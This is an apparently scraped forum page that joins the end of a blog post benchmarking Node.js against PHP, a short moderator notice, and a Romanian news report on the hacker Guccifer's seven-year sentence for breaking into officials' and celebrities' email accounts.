[COLOR=#009900]{[/COLOR][COLOR=#3366CC]'Content-Type'[/COLOR][COLOR=#339933]:[/COLOR] [COLOR=#3366CC]'text/plain'[/COLOR][COLOR=#009900]}[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] s[COLOR=#339933]=[/COLOR][COLOR=#3366CC]""[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#006600][I]//generate a random string of 108KB and a random filename[/I][/COLOR] fname [COLOR=#339933]=[/COLOR] String.[COLOR=#660066]fromCharCode[/COLOR][COLOR=#009900]([/COLOR]Math.[COLOR=#660066]floor[/COLOR][COLOR=#009900]([/COLOR][COLOR=#CC0000]65[/COLOR] [COLOR=#339933]+[/COLOR] [COLOR=#009900]([/COLOR]Math.[COLOR=#660066]random[/COLOR][COLOR=#009900]([/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933]*[/COLOR][COLOR=#009900]([/COLOR][COLOR=#CC0000]122[/COLOR][COLOR=#339933]-[/COLOR][COLOR=#CC0000]65[/COLOR][COLOR=#009900])[/COLOR][COLOR=#009900])[/COLOR] [COLOR=#009900])[/COLOR][COLOR=#009900])[/COLOR] [COLOR=#339933]+[/COLOR] String.[COLOR=#660066]fromCharCode[/COLOR][COLOR=#009900]([/COLOR]Math.[COLOR=#660066]floor[/COLOR][COLOR=#009900]([/COLOR][COLOR=#CC0000]65[/COLOR] [COLOR=#339933]+[/COLOR] [COLOR=#009900]([/COLOR]Math.[COLOR=#660066]random[/COLOR][COLOR=#009900]([/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933]*[/COLOR][COLOR=#009900]([/COLOR][COLOR=#CC0000]122[/COLOR][COLOR=#339933]-[/COLOR][COLOR=#CC0000]65[/COLOR][COLOR=#009900])[/COLOR][COLOR=#009900])[/COLOR] [COLOR=#009900])[/COLOR][COLOR=#009900])[/COLOR] [COLOR=#339933]+[/COLOR] String.[COLOR=#660066]fromCharCode[/COLOR][COLOR=#009900]([/COLOR]Math.[COLOR=#660066]floor[/COLOR][COLOR=#009900]([/COLOR][COLOR=#CC0000]65[/COLOR] [COLOR=#339933]+[/COLOR] [COLOR=#009900]([/COLOR]Math.[COLOR=#660066]random[/COLOR][COLOR=#009900]([/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933]*[/COLOR][COLOR=#009900]([/COLOR][COLOR=#CC0000]122[/COLOR][COLOR=#339933]-[/COLOR][COLOR=#CC0000]65[/COLOR][COLOR=#009900])[/COLOR][COLOR=#009900])[/COLOR] [COLOR=#009900])[/COLOR][COLOR=#009900])[/COLOR] [COLOR=#339933]+[/COLOR] String.[COLOR=#660066]fromCharCode[/COLOR][COLOR=#009900]([/COLOR]Math.[COLOR=#660066]floor[/COLOR][COLOR=#009900]([/COLOR][COLOR=#CC0000]65[/COLOR] [COLOR=#339933]+[/COLOR] [COLOR=#009900]([/COLOR]Math.[COLOR=#660066]random[/COLOR][COLOR=#009900]([/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933]*[/COLOR][COLOR=#009900]([/COLOR][COLOR=#CC0000]122[/COLOR][COLOR=#339933]-[/COLOR][COLOR=#CC0000]65[/COLOR][COLOR=#009900])[/COLOR][COLOR=#009900])[/COLOR] [COLOR=#009900])[/COLOR][COLOR=#009900])[/COLOR] [COLOR=#339933]+[/COLOR] [COLOR=#3366CC]".txt"[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#000066][B]for[/B][/COLOR][COLOR=#009900]([/COLOR]i[COLOR=#339933]=[/COLOR][COLOR=#CC0000]0[/COLOR][COLOR=#339933];[/COLOR]i[COLOR=#339933]<[/COLOR][COLOR=#CC0000]108000[/COLOR][COLOR=#339933];[/COLOR]i[COLOR=#339933]++[/COLOR][COLOR=#009900])[/COLOR] [COLOR=#009900]{[/COLOR] n[COLOR=#339933]=[/COLOR]Math.[COLOR=#660066]floor[/COLOR][COLOR=#009900]([/COLOR][COLOR=#CC0000]65[/COLOR] [COLOR=#339933]+[/COLOR] [COLOR=#009900]([/COLOR]Math.[COLOR=#660066]random[/COLOR][COLOR=#009900]([/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933]*[/COLOR][COLOR=#009900]([/COLOR][COLOR=#CC0000]122[/COLOR][COLOR=#339933]-[/COLOR][COLOR=#CC0000]65[/COLOR][COLOR=#009900])[/COLOR][COLOR=#009900])[/COLOR] [COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] s[COLOR=#339933]+=[/COLOR]String.[COLOR=#660066]fromCharCode[/COLOR][COLOR=#009900]([/COLOR]n[COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#009900]}[/COLOR] [COLOR=#006600][I]//write s to a file[/I][/COLOR] [COLOR=#000066][B]var[/B][/COLOR] fs [COLOR=#339933]=[/COLOR] require[COLOR=#009900]([/COLOR][COLOR=#3366CC]'fs'[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] fs.[COLOR=#660066]writeFile[/COLOR][COLOR=#009900]([/COLOR]fname[COLOR=#339933],[/COLOR] s[COLOR=#339933],[/COLOR] [COLOR=#000066][B]function[/B][/COLOR][COLOR=#009900]([/COLOR]err[COLOR=#339933],[/COLOR] fd[COLOR=#009900])[/COLOR] [COLOR=#009900]{[/COLOR] [COLOR=#000066][B]if[/B][/COLOR] [COLOR=#009900]([/COLOR]err[COLOR=#009900])[/COLOR] [COLOR=#000066][B]throw[/B][/COLOR] err[COLOR=#339933];[/COLOR] [COLOR=#006600][I]//console.log("The file was saved!");[/I][/COLOR] [COLOR=#006600][I]//read back from the file[/I][/COLOR] fs.[COLOR=#660066]readFile[/COLOR][COLOR=#009900]([/COLOR]fname[COLOR=#339933],[/COLOR] [COLOR=#000066][B]function[/B][/COLOR] [COLOR=#009900]([/COLOR]err[COLOR=#339933],[/COLOR] data[COLOR=#009900])[/COLOR] [COLOR=#009900]{[/COLOR] [COLOR=#000066][B]if[/B][/COLOR] [COLOR=#009900]([/COLOR]err[COLOR=#009900])[/COLOR] [COLOR=#000066][B]throw[/B][/COLOR] err[COLOR=#339933];[/COLOR] result [COLOR=#339933]=[/COLOR] data[COLOR=#339933];[/COLOR] response.[COLOR=#660066]end[/COLOR][COLOR=#009900]([/COLOR]result[COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#009900]}[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#009900]}[/COLOR] [COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#009900]}[/COLOR] server.[COLOR=#660066]listen[/COLOR][COLOR=#009900]([/COLOR][COLOR=#CC0000]8124[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] console.[COLOR=#660066]log[/COLOR][COLOR=#009900]([/COLOR][COLOR=#3366CC]'Server running at [URL]http://127.0.0.1:8124/[/URL]'[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] And then, I ran the apache benchmarking tool on both of them with 2000 requests (200 concurrent). When I saw the time stats of the result, I was astounded: [TABLE] [TR] [TD=class: code]#PHP: Concurrency Level: 200 Time taken for tests: 574.796 seconds Complete requests: 2000 #node.js: Concurrency Level: 200 Time taken for tests: 41.887 seconds Complete requests: 2000[/TD] [/TR] [/TABLE] The truth is out. node.js was faster than PHP by more 14 times! These results are astonishing. It simply means that node.js IS going to be THE de-facto standard for writing performance driven apps in the upcoming future, there is no doubt about it! Agreed that the nodejs ecosystem isn’t that widely developed yet, and most node modules for things like db connectivity, network access, utilities, etc. are actively being developed. But still, after seeing these results, its a no-brainer. Any extra effort spent in developing node.js apps is more than worth it. PHP might be still having the “king of web” status, but with node.js in the town, I don’t see that status staying for very long! References https://en.wikipedia.org/wiki/Node.js The emperor’s new clothes were built with Node.js | Notes (beta) node.js Sursa: PHP vs node.js: The REAL statistics | Prahlad Yeri
  23. Fara UP-uri. Warn pentru FIECARE up sau post inutil pe post de "up" il vad.
  24. Hackerul Guccifer, condamnat la ?apte ani de închisoare cu executare de Otilia Ciocan Tribunalul Bucure?ti l-a condamnat vineri pe hackerul Marcel Laz?r Lehel, cunoscut sub numele de Guccifer, la ?apte ani de închisoare cu executare, pentru c? a spart conturile de e-mail ale directorului SRI George Maior, ale europarlamentarului Corina Cre?u ?i ale unor vedete. Marcel Laz?r Lehel a fost condamnat la câte trei ani de închisoare pentru spargerea conturilor de e-mail ale directorului SRI George Maior ?i ale europarlamentarului Corina Cre?u. Instan?a a dispus contopirea pedepselor ?i aplicarea unui spor de pedeaps? de un an, astfel încât hackerul Guccifer a fost condamnat la patru ani de închisoare cu executare în acest dosar. Totodat?, instan?a a constatat c? Marcel Laz?r Lehel a mai fost condamnat, în 8 februarie 2012, de Judec?toria Sectorului 3, la trei ani de închisoare cu suspendare, pentru spargerea conturilor de e-mail ale unor vedete. Astfel, instan?a a ad?ugat pedeapsa de trei ani la condamnarea din dosarul privind spargerea conturilor de e-mail a cu executare le lui George Maior ?i Corinei Cre?u, hackerul urmând s? execute o pedeaps? de ?apte ani de închisoare, dac? decizia r?mâne definitiv?. Tribunalul Bucure?ti a precizat c? decizia din 2012 a Judec?toriei Sectorului 3 este definitiv? întrucât nu a fost contestat?. De asemenea, instan?a i-a interzis lui Lehel mai multe drepturi, pe o durat? de trei ani dup? executarea pedepsei principale. Prin decizia de vineri, Tribunalul Bucure?ti a men?inut m?sura arest?rii preventive a lui Marcel Laz?r Lehel, acesta fiind încarcerat din 22 ianuarie. Instan?a a mai dispus confiscarea de la Lehel a unui laptop. Judec?torul a luat act c? George Cristian Maior ?i Corina Cre?u nu s-au constituit p?r?i civile. Decizia nu este definitiv?, aceasta putând fi contestat? la Curtea de Apel Bucure?ti. Hackerul Marcel Laz?r Lehel a recunoscut, la ultimul termen de judecat?, c? a spart conturile de e-mail ale directorului SRI, George Maior, ale europarlamentarului Corina Cre?u ?i ale unor vedete, el fiind judecat prin procedura simplificat?. "Am recunoscut ?i recunosc toate faptele de care sunt acuzat. Solicit judecarea cauzei pe baza probelor administrate pe parcursul urm?ririi penale. Regret faptele s?vâr?ite. (...) Pe parcursul acestui proces, procurorii DIICOT spuneau c? a? fi pericol la siguran?a na?ional?. A? spune c? este vorba despre trei conturi de e-mail particulare care au fost preluate de mine f?r? s? existe un prejudiciu material sau v?t?mare corporal?. Probabil, toat? lumea a avut într-o zi contul spart. Eu, personal, am avut cinci conturi sparte ?i nu m-am dus la DIICOT. Faptele nu sunt nici pe departe atât de grave. Sunt trei conturi personale, nicidecum de serviciu ", a spus Guccifer, în fa?a instan?ei, la termenul din 26 mai. În 18 martie, hackerul Marcel Laz?r Lehel a fost trimis în judecat? pentru infrac?iuni informatice, fiind acuzat c? a spart conturile de e-mail ?i Facebook ale mai multor vedete ?i c?su?ele po?tale electronice ale directorului SRI, George Maior. Procurorii Direc?iei de Investigare a Infrac?iunilor de Criminalitate Organizat? ?i Terorism (DIICOT) - Structura Central? au dispus trimiterea în judecat? a inculpatului "L.M.L, alias «Guccifer»", în stare de arest preventiv, pentru acces f?r? drept la un sistem informatic, prin înc?lcarea m?surilor de securitate, în scopul ob?inerii de date informatice, restric?ionarea accesului la date informatice, transferul neautorizat de date dintr-un sistem informatic ?i violarea secretului coresponden?ei, se ar?ta într-un comunicat remis agen?iei MEDIAFAX. "În cauz? exist? suspiciunea rezonabil? c?, în cursul anului 2013, în baza unei rezolu?ii infrac?ionale unice, inculpatul L.M.L (Marcel Laz?r Lehel, n.r.) a accesat, în mod repetat ?i f?r? drept, prin înc?lcarea m?surilor de securitate, conturile de e-mail apar?inând unor persoane publice din România, cu scopul de a intra în posesia datelor confiden?iale aflate în po?ta electronic?, dup? care a schimbat parolele de autentificare, restric?ionând astfel accesul utilizatorilor de drept la datele informatice aflate în po?ta electronic?", preciza DIICOT. Hackerul ar fi transferat neautorizat, în sistemul s?u informatic, datele aflate în conturile de e-mail compromise, iar apoi ar fi divulgat con?inutul coresponden?ei c?tre public, "ac?iuni frauduloase s?vâr?ite în scopul lez?rii intimit??ii în mediul on-line ?i denigr?rii imaginii publice ale persoanelor în cauz?". Marcel Laz?r Lehel a fost prins în 22 ianuarie, de procurorii DIICOT, în urma unei perchezi?ii la locuin?a acestuia din jude?ul Arad. B?rbatul a fost arestat preventiv în 23 ianuarie, în urma unei decizii a Judec?toriei Sectorului 5. Anchetatorii ar?tau atunci c? hackerul ar fi spart c?su?ele de po?t? electronic? de Yahoo ?i Gmail ale ?efului SRI George Maior, dup? care i-ar fi trimis acestuia, pe adresa de email de pe serverul SRI, un mesaj ce con?inea un link c?tre date extrase din cele dou? c?su?e de email personale. Marcel Laz?r Lehel, care folosea pseudonimele "Guccifer" ?i "Micul fum", ar fi accesat conturile de e-mail ?i de Facebook ale unor persoane publice, printre care Colin Powell, membri ai familiilor Bush ?i Rockefeller ?i oficiali ai administra?iei Obama. În 8 februarie 2012, hackerul "Micul fum" a fost condamnat la trei ani de închisoare cu suspendarea execut?rii pedepsei, de c?tre Judec?toria Sectorului 3 Bucure?ti. Marcel Laz?r Lehel ar fi accesat ilegal conturile de e-mail ?i pe cele de pe platforma de socializare Facebook apar?inând unor angaja?i ai unui trust media ?i unor persoane publice, iar ulterior a f?cut publice discu?ii private ?i fotografii ale acestora. În 19 august 2011, Marcel Laz?r Leher a fost re?inut pentru comiterea a 25 de infrac?iuni de acces f?r? drept la sisteme informatice, 25 de infrac?iuni de modificare f?r? drept ?i restric?ionarea accesului la date informatice, 25 de infrac?iuni de transfer neautorizat de date dintr-un sistem informatic ?i 15 infrac?iuni de violarea secretului coresponden?ei. B?rbatul a fost acuzat c?, în perioada octombrie 2010 - iulie 2011, a accesat f?r? drept, prin înc?lcarea m?surilor de securitate, conturile de e-mail ?i conturile aferente platformei de socializare Facebook, apar?inând lui Drago? Mo?tenescu, Corina Caragea, Laura Cosoi, Roxana Iv?nescu, Rona Hartner, Iliviu Lesu, Daniela Aciu, Irina Reisler C?pitanu, Violeta Babliuc, Monica Barbu, Lenu?a Aciu, Simona R?dulescu, Denisa Barboni, Bianca Dr?gu?anu, Cristian Pulhac, Ada Milea, Organiza?ia de Tineret APDL, ar?tau atunci anchetatorii. Ca mod de operare, Laz?r Lehel ar fi restric?ionat accesul utilizatorilor de drept la sistemele informatice ?i a copiat în mod neautorizat informa?iile, fotografiile ?i coresponden?a privat? stocate în cadrul conturilor p?r?ilor v?t?mate, au stabilit procurorii DIICOT. Ulterior, el a divulgat con?inutul coresponden?ei c?tre public, prin intermediul re?elei de socializare, postând pe conturile personale create special în acest scop - "Micul fum" ?i "Thevem Theven" informa?ii ?i date confiden?iale, respectiv fotografii, mesaje electronice ?i alte discu?ii private purtate de c?tre p?r?ile v?t?mate pe conturile de socializare ?i aplica?iile de chat. Printre cei afecta?i de ac?iunile lui "Guccifer" se afl? ?i actorul american Steve Martin, John Dean, fostul consilier al pre?edintelui Richard Nixon, actri?a Mariel Hemingway, trei membri ai Camerei Lorzilor din Marea Britanie, Laura Manning Johnson, fost analist CIA, George Roche, fost secretar al For?elor Aeriene, ?i pre?edintele MetLife (companie de asigur?ri). Conform unora dintre persoanele afectate, conturile au fost sparte de pe adrese IP din Grecia ?i Rusia, scria Thesmokinggun.com. Hackerul "Guccifer" a revendicat, în februarie 2013, piratarea unor conturi de e-mail apar?inând unor membri ai familiei Bush, divulgând coresponden?? de natur? personal?. În august 2013, "Guccifer" a postat pe pagina sa de Facebook un link c?tre o coresponden?? prin e-mail între fostul secretar de stat american Colin Powell ?i europarlamentarul PSD Corina Cre?u. "Un tr?d?tor al patriei", a scris hackerul pe wall-ul lui Powell pe Facebook, ata?ând un link spre un drive Google cu e-mailuri primite de Powell de la Cre?u în perioada 2010-2011, prin contul s?u pe AOL. În aceste e-mailuri, Cre?u îl nume?te pe Powell, originar din Bronx, New York, "dragostea vie?ii mele" ?i sugereaz? c? scrie despre o poveste de dragoste mai veche, potrivit TheSmokingGun.com. Fostul secretar de stat american a fost nevoit s? ofere clarific?ri despre rela?ia sa cu Corina Cre?u, în urma acestor dezv?luiri. Potrivit mai multor publica?ii, între care The Daily Mail, Huffington Post, New York Daily News ?i postului american de televiziune Fox News, fostul general a r?spuns unor întreb?ri din partea site-ului The Smoking Gun.com, afirmând c? nu ?i-a în?elat so?ia - cu care este c?s?torit de aproximativ 50 de ani - cu Cre?u, în prezent europarlamentar PSD, dup? ce e-mailuri "de natur? foarte persoan?" au fost f?cute publice. Powell a declarat c? a cunoscut-o pe Cre?u în urm? cu aproximativ zece ani, în timp ce era secretar de stat al fostului pre?edinte George W. Bush, iar ea era purt?tor de cuvânt al pre?edintelui României Ion Iliescu. El a subliniat c? s-au întâlnit personal "o dat? sau de dou? ori" în ultimii opt ani. Sursa: Hackerul Guccifer, condamnat la ?apte ani de închisoare cu executare - Mediafax
×
×
  • Create New...